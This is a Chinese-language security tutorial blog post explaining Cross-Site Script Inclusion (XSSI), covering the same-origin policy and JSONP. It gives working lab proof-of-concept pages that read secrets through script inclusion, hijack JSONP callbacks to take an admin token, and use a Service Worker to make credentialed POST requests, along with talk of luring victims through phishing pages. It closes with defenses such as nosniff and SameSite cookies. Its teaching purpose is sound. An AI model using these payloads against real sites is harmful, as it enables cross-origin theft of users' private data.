【Web常见漏洞篇】一个不出名却影响广泛的漏洞(XSSI 漏洞)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 同源策略

0x02 什么是JSONP?与JSON的区别是什么?

0x03 XSSI 跟XSS和CSRF 的区别

以此图为例,这里我以

0x04  静态JavaScript(常规XSSI)

0x05  经身份验证后才能访问XSSI

0x06  POST XSSI

0x07  防御措施

0x08  总结

0x09 拓展小知识

跨域窃取CSV


那日,听闻朋友谈及XSSI(跨站点脚本包含),恕在下不才,第一次听闻,竟对此术略感迷茫,对此攻击之法也是困顿不堪。为将此法破解并为我所用,故尔花费数日深究此术。

经谷哥度娘指引,网界索取后,给出的大致答案是:

“XSSI在Same-Origin Policy的限制范围之外,从JSONP等获取来自外部域的机密信息的攻击(通常是Get 请求,但现在又基于POST请求的XSSI)”。 

正所谓,闻道有先后,溯源有顺序

在了解XSSI之前,我们先来了解一下什么是同源策略和JSONP。

0x01 同源策略

同源策略是由Netscape提出的一个著名的安全策略。由于知名度广泛,所以所有支持JavaScript 的浏览器都会使用这个策略。

所谓同源是指:域名、协议、端口相同。

不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。

同源策略定义了文档之间的交互方式

当两个文档来自同一来源时,允许两个文档相互访问。这是Web安全的事实基础。

大多数浏览器将来源定义为端口主机名协议

而Microsoft Internet Explorer是一个例外,不包括端口,这有其自身的(安全性)含义。

Let me以同域不同端口,来解释一下同源策略

8888端口创建XSSITest.html

localhost:8888/XSSITest.htm

9999 端口创建XSSIPayload.html

localhost:9999/XSSIPayload.html

此时用Firefox浏览器访问,会得到以下的错误提示:        

  •  
Error: Permission denied to accessproperty 'body

注意

此例子是域相同,但端口不相同,所以此时访问是失败的。

0x02 什么是JSONP?与JSON的区别是什么?

  • JSONP是一种发送JSON数据而无需担心跨域问题的方法;

  • JSONP不使用XMLHttpRequest对象;

  • THE SOP不工作HERE。

服务器示例(JSON.php):

<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data = '["customername1","customername2"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

服务端返回:

<br />
<b>Notice</b>:  Undefined index: jsoncallback in <b>C:\phpStudy\WWW\XSSI-3\JSONP.php</b> on line <b>4</b><br />
(["customername1","customername2"])

我们构建并包含到script标签中:

function callbackFunction(result, methodName)
{
    var html = '<ul>';
    for(var i = 0; i < result.length; i++)
    {
        html += '<li>' + result[i] + '</li>';
    }
    html += '</ul>';
    document.getElementById('divCustomers').innerHTML = html;
}

客户端完整代码(Test.php):

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
    var html = '<ul>';
    for(var i = 0; i < result.length; i++)
    {
        html += '<li>' + result[i] + '</li>';
    }
    html += '</ul>';
    document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

客户端访问Test.php,页面展示:

以上代码案例中可看出:

JSONP允许我们指定传递JSON对象的回调函数。允许我们绕过相同的原始策略,这就导致了JSON从外部服务器加载到网页上的JavaScript中。

以上,只是我们的前菜,在我们了解了同源策略和JSONP后,我们再回过头来讲XSSI。

也许,当你听到这个名称(XSSI)的时候第一感觉是跨站点脚本攻击

比如说我吧,第一次听到XSSI时,说时迟那时快,迅雷不及掩耳盗铃之铃儿响叮当,脑海里出现两个对话框:

果然,Too Young Too Simple

以上的猜测都不是。

经过查看一番资料后发现它的利用方式跟CSRF 很相似,容易混淆。

0x03 XSSI 跟XSS和CSRF 的区别

  1. XSSI的名称接近于跨站脚本(XSS)。

  2. 从描述出发,接近跨站请求伪造(CSRF)。两者之间的共同点是它们都是客户端攻击。

与XSS的区别

在将XSS恶意代码放入受害者的页面时,在XSSI受害者的代码包括在恶意页面中。从表面上看,XSSI和CSRF看起来很相似,因为在这两种情况下,请求都是从恶意页面发送到另一个域的,并且在两种情况下,请求都是在登录用户的上下文中执行的。

关键区别在于目标

在CSRF中,攻击者希望在受害者的页面内执行状态更改操作,例如在网上银行应用程序中转账,受害者使用一次转账,它就操作一次而在XSSI中,攻击者则想泄漏数据的跨源,以便随后执行上述攻击之一,也就是随时随地操作

跨站点脚本包含(XSSI),即使用script标签包含资源时,SOP(同源策略)不适用也没关系,因为脚本必须能够包含在跨域中。攻击者因此可以读取使用该script标签包含的所有内容。

动态环境JavaScript或JSONP(使用cookie等所谓的环境权限信息)进行身份验证时。与其他跨站点请求伪造(CSRF)一样,在从其他主机请求资源时也包含cookie 。

可以根据脚本中数据的内容,以不同的方式利用XSSI。广泛使用的敏感数据是个人数据,例如电子邮件,邮政地址,生日等。但是人们也可以找到令牌,会话ID和其他ID(例如UID)。最简单方法是检查用户是否已登录(登录oracle)。获得的信息也可能被滥用用于社会工程攻击和特定于应用程序的攻击。

简单通俗的来说

XSSI(跨站点包含)漏洞允许经过Jupyter服务器验证的用户访问时,在恶意页面上包含资源。

以此图为例,这里我以

http://127.0.0.1/XSSI-2/safedog-1.cn   代替safedog-1.cn

http://10.0.x.x/XSSI-2/safedog-2.cn   代替 safedog-2.cn

访问http://127.0.0.1/XSSI-2/safedog-1/unsecure/index.php  

点击【Get Secret Code】按钮获取密码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>safedog-1.cn</title>
</head>
<body>
<h3>safedog-1.cn 获取密码</h3>
<button id="get-date-btn">Get Secret Code</button><br/>
您的密码是<br>「<span id="secret-code-text"></span>」

<script type="text/javascript">
PayloadSecretData = function(secretDate) {
    var span = document.getElementById('secret-code-text')
    span.innerHTML= secretDate['secret_code'];
};

window.onload = function(){
    var btnGetData = document.getElementById("get-date-btn");
    btnGetData.addEventListener("click",function() {
        var scriptTag = document.createElement("script");
        scriptTag.type = 'text/javascript';
        scriptTag.src = "userdata.php?callback=PayloadSecretData";
        var parent = document.getElementsByTagName("script")[0];
        parent.parentNode.insertBefore(scriptTag, parent);
    }, false);
}
</script>
</body>
</html>

这样,我们就获取到下发的密码Keys,并且每次浏览器获得的密码Keys始终是相同的。

生成密码并利用JSONP

<?php
session_start();

if (empty($_SESSION['secret_code'])) {
    $_SESSION['secret_code'] = uniqid();

}

function getSecretCode($secret_code) {
    return ['secret_code' => $secret_code];
}

$callback = "jsonCallback";
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
}

// 获取用户的密码
$result = getSecretCode($_SESSION['secret_code']);

$json = json_encode($result, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);

header("Content-type: application/x-javascript");
echo "$callback($json)";

获取密码下发,先<script>src获取下发密码的php文件并调用PayloadSecreData函数脚本动态生成Keys,然后<span>读取JavaScript内容,以及将JSON格式的隐私代码传递给PayloadSecreData函数。

此时我们已知Keys 使用JSONP(JSONP的核心原理就是目标页面回调本地页面的方法,并带入参数)返回敏感信息。

拓展知识链接:https://www.bejson.com/knownjson/aboutjsonp/IFjNm1Yvo

那么,要如何利用呢?答案在这边:

由B(safedog-2.cn)机器Google浏览器访问A(safedog-1.cn)机器的http://safedog-1.cn要访问,因此它将发送一个包含会话信息的cookie,并从会话信息中获取JSONP 中的敏感密码信息。

攻击者搭建Safedog-2.cn/index.html定义了一个名为PayloadSecretData的函数,此时只要攻击访问Safedog-2.cn/index.htm 就能看到Safedog-1.cn/index.php包含的数据。

因此,攻击者的服务器Safedog-2.cn/index.html中包含相同的代码,定义对应的PayloadSecretData函数窃取数据。

以上部署好后,我们尝试使用钓鱼或制作一个诱人的页面,让受害者去访问并点击创建的钓鱼网站,当用户点击对应的功能点时,隐藏在HTML里面的恶意Payload将执行(受害者在GUI(肉眼)看不到的情况下)一些操作。

0x04  静态JavaScript(常规XSSI)

当公开可用的静态脚本包含敏感数据时,所有情况均被视为常规XSSI。

在这种情况下,几乎只能通过读取文件来检测到该问题。可以尝试查找带有正则表达式的私钥,账号密码Keys或敏感密钥等。但是一旦发现情况,利用方式比较简单。

假设敏感内容驻留在全局变量中,如下所示:

Script.js

var privateKey = "-----BEGIN safeodg PRIVATE KEY-----\
safadog keys\
-----END safedog PRIVATE KEY-----",
    keys = [
      { name: 'Key safedog 1', apiKey: '0cxx', privateKey: privateKey },
    ];

XSSI-1.html

<html>
  <head>
    <title>Safedog XSSI</title>
    <script src="http://127.0.0.1/XSSI-1/script.js"></script>
  </head>
  <body>
    <script>
      alert(JSON.stringify(keys[0]));
</script>
  </body>
</html>

只需在本地搭建一个html将script.js文件包含到本地的html文件中即可获取敏感keys。

0x05  经身份验证后才能访问XSSI

图片来源:https://owasp.org/www-pdf-archive/20160607-xssi-the_tale_of_a_fameless_but_widepsread_vulnerability-Veit_Hailperin.pdf

  • 读取变量

  • 覆盖功能

1. 如果将敏感内容直接放入网页全局变量中,则检索该数据的一种方法就是索要它。

例:

`<script src="[https://www.vulnerable-domain.tld/script.js](https://www.vulnerable-domain.tld/script.js)"></script>`

有一个像这样的变量:

keys = [ domain: 'live.com', apiKey: 'dsd2kgijland3io1', privkey:' *rsa key*', ... ]

然后,攻击者就可以注入:

`alert(JSON.stringify(keys))`

然后进行检索所有秘密。

2. 覆盖一个可以使用JSONP回调显示用户数据的函数。

假设黑客可以重写JavaScript函数,那么,它可以更改请求回调读取外部资源返回的所有数据(有可能经过身份验证的内容),在本地编写回调并读取敏感的数据。

此处我使用LKWA 靶场里的XSSI做演示:

登陆之前和登录之后的区别

我们先登录之后打开页面源码(F12)查看,定位到api这一项

查看../api/user.php代码

如下:

<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){
  $myObj = new \stdClass();
  $myObj->name = "admin";
  $myObj->token=time()+2*24*60*60;
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // 正常的JSON字符串
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }


}
else {
  $myObj = new \stdClass();
  $myObj->name = "";
  $myObj->token="";
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // 正常的JSON字符串
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }
}
?>

以上,我们发现是支持GET、POST、PUT、DELETE 请求,以及通过json_encode 函数将对应的Keys 由数值转换为JSON 数据存储。

那么在登录状态时,我们要访问如下图(获取到账号和密码的敏感信息)

构建XSSI POC 代码

<html>
  <head>
    <title>XSSI</title>    
  </head>
<body>
    <script>
        function a(s)
{
        alert(JSON.stringify(s));
        }
</script>
    <script src="http://127.0.0.1/LKWA-master/api/user?callback=a"></script>
</body>
</html>

非登录状态时,访问如下图

这时,我们所看到这个显示为空

0x06  POST XSSI

Servuce Workers 是什么?

  • 网络代理,转发请求,伪造响应

  • 离线缓存

  • 消息推送

  • 后台消息传递 

      Service Workers本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。Service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。

      一个Service Worker是一段运行在浏览器后台进程里的脚本,它独立于当前页面,提供了那些不需要与web页面交互的功能,并在网页背后悄悄执行的能力。在将来,基于Service Worker,可以实现消息推送,静静更新以及地理围栏等服务,但是目前Service Worker首先要具备的功能是拦截和处理网络请求的功能,包括可编程的消息缓存管理能力。

safedog.js

self.addEventListener('fetch', event => {
    const url = 'https://victim.cm2.pw/xss?text/plain';
    if(event.request.url.endsWith('/intercept'))
    event.respondWith(fetch(url, {
        method  : 'POST',
        //mode    : 'no-cors',
        credentials: 'include',
        body    : 'xss=email="[email protected]";',
        headers : {'Content-type':'application/x-www-form-urlencoded'}
    }));
});

safedog.php
<script>
    navigator.serviceWorker.register('safedog.js');
    window.addEventListener('DOMContentLoaded', event => {
        if(typeof(email)==='undefined')
            location.reload();
        else
            alert(email);
    });
</script>
<script src='/intercept'></script>

此时,safedog.php 在这里充当了代理商的角色,使我们的浏览器能即使拦截和修改请求,并配合safedog.js 拦截初始请求,并根据需要向易受攻击端发送一个变量(email)的请求。

运行结果如下

0x07  防御措施

1. 使用CSRF Toke 令牌;

2. SameSite-Cookies通过验证是否是safedog.cn访问的getData.js的方式来组织Cookie的传递;

3. 切勿在JavaScript和JSONP 上放置敏感内容:

  • 指示浏览器不要猜测请求参数Content-Type比如,

    X-Content-Type-Options: nosniff

  • 正确的Content-Type 也有助于现实中网站被XSSI攻击的概率,只需要设置响应头围X-Content-Type-Options: nosniff ,那么浏览器就会拒绝记载这种类型的数据为js; 

4. 使用一些难以猜测的参数;

5. 使用自定义头时使用XHR进行请求。

0x08  总结

★ 开发人员,切勿将敏感内容放在JavaScript和JSONP中,因为将敏感内容放置其中后,一旦代码过滤不够严谨时将导致存储在JavaScript或JSONP中的敏感数据被攻击者获取。

★ 开发人员,在开发过程中应该清除或不将敏感内容保存到JSON文件,并从中读取,避免因为可跨域或全局变量(或局部变量)因被覆盖导致敏感信息泄露。

★ 开发过程中,有可能依旧会出现类似的错误。通过指示浏览器不要猜测请求参数。

Content-Type
   X-Content-Type-Options: nosniff

最后,关键一句:

正确的Content-Type方法,可以有助于减少XSSI攻击。

0x09 拓展小知识

跨域窃取CSV

链接

https://blog.cm2.pw/stealing-csvs-crossdomain/

https://wooyun.js.org/drops/XSSI%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8.html

参考链接

https://blog.motikan2010.com/entry/2018/03/03/XSSI%EF%BC%88Cross-Site_Script_Inclusion%EF%BC%89%E6%94%BB%E6%92%83...%E3%81%A8%E3%81%AF

https://linuz.me/2020/01/22/LKWA/#%E5%AE%9E%E9%AA%8C%E4%BA%8C%EF%BC%9AXSSI

https://blog.cm2.pw/stealing-csvs-crossdomain/

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion

https://carloalbertoscola.it/notes/2018/04/23/xssi-and-xss.html

https://www.scip.ch/en/?labs.20160414

https://www.hurricanelabs.com/blog/a-new-xssi-vector-or-the-untold-merits-of-nosniff


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106177243